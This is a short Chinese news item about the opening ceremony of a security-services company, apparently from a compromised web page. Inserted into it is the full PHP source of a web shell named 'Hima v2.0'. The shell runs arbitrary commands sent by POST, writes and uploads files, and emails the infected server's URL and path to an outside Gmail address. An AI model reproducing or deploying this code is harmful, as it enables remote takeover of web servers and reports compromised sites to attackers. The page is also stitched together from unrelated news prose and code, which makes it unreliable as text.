市保安公司董事长程精忠在开业典礼上致辞 |
开业庆典仪式的举行,标志着我市技防工作迈向了信息化产业全面发展的阶段。我代表永州市保安公司对振远保安公司的成立,表示热烈祝贺!希望振远保安服务公司高擎重托,不负重望,恒久诚信,打造一流的企业品质,回报社会。
ob_start();
$server_os = @PHP_OS;
$server_uname = @php_uname();
$server_php = @phpversion();
$server_sm = @ini_get('safe_mode');
$shell_title = "Hima";
$shell_version = "v2.0";
$shell_action = $PHP_SELF;
$shell_mode = $_POST['shell_mode'];
$cmd_cnt = $_POST['command'];
$cmd_check = $_POST['cmdcheck'];
$dir_check = $_POST['dircheck'];
$dir_change = $_POST['changedir'];
$dir_keep = $_POST['keepdir'];
$mkfile_path = $_POST['createfile'];
$mkfile_cnt = $_POST['createfilecnt'];
$upfile_path = $_POST['upfiledir'];
$upfile_cnt = $_POST['upfile'];
if(!isset($dir_cur))
$dir_cur = getcwd();
if(isset($dir_check)) {
if(file_exists($dir_change)) {
if(function_exists("chdir")) {
@chdir($dir_change);
$dir_cur = getcwd();
} else {
$dir_error = "Error: Cannot change directory! \n";
}
} else {
$dir_error = "Error: The directory doesn't exists. \n";
}
} elseif(isset($dir_keep)) {
if(file_exists($dir_keep)) {
if(function_exists("chdir")) {
@chdir($dir_keep);
$dir_cur = getcwd();
} else {
$dir_error = "Error: Cannot change directory! \n";
}
} else {
$dir_error = "Error: The directory doesn't exists. \n";
}
}
if(isset($cmd_check)) {
if(@function_exists("shell_exec")) {
$exec = $cmd_cnt;
$tmpfile = tempnam('/tmp', $shell_title);
$exec .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
$cmd_out = `$exec`;
} else {
die("ERROR: the PHP version running doesn't support `shell_exec()`! Upgrade it!\n");
}
}
if(isset($mkfile_path)) {
if(!file_exists($mkfile_path)) {
if($mkfile_new = @fopen($mkfile_path, "w")) {
@fputs($mkfile_new, $mkfile_cnt);
@fclose($mkfile_new);
$mkfile_msg = "New file created: " . $mkfile_path . " \n";
} else {
$mkfile_msg = "Error: Permission denied! \n";
}
} else {
$mkfile_msg = "Error: The file already exists. \n";
}
}
if(isset($upfile_path)) {
$upfile_name = $_FILES["upfile"]["name"];
if(trim($_FILES["upfile"]["name"]) == "") {
$upfile_msg = "Error: specify a file please. \n";
} else {
if(@is_uploaded_file($_FILES["upfile"]["tmp_name"])) {
if(@move_uploaded_file($_FILES["upfile"]["tmp_name"], "$upfile_path/$upfile_name"))
$upfile_msg = "New file uploaded successfully! \n";
else
$upfile_msg = "Error: Permission denied! \n";
} else {
$upfile_msg = "Error: Cannot upload the file! \n";
}
}
}
if(!$shell_mode) {
?>
NO© 2009 echo $shell_title . " " . $shell_version; ?> - Improved By ViRuS_HiMa @ Hell ZoNe CreW SloGan is
$site = "www.Hell-z0ne.org";
if(!ereg($site, $_SERVER['SERVER_NAME']))
{
$to = "virusxhima@gmail.com";
$subject = "Contact me";
$header = "from: Mail Me ";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
echo "";
exit;
}
?>
} elseif(isset($shell_mode)) {
switch($shell_mode) {
case 'phpinfo':
phpinfo();
break;
default:
break;
}
} else {
header("Location: " . $PHP_SELF);
}
ob_end_flush();
?> (发布:2011-09-28) |
|
|
|
|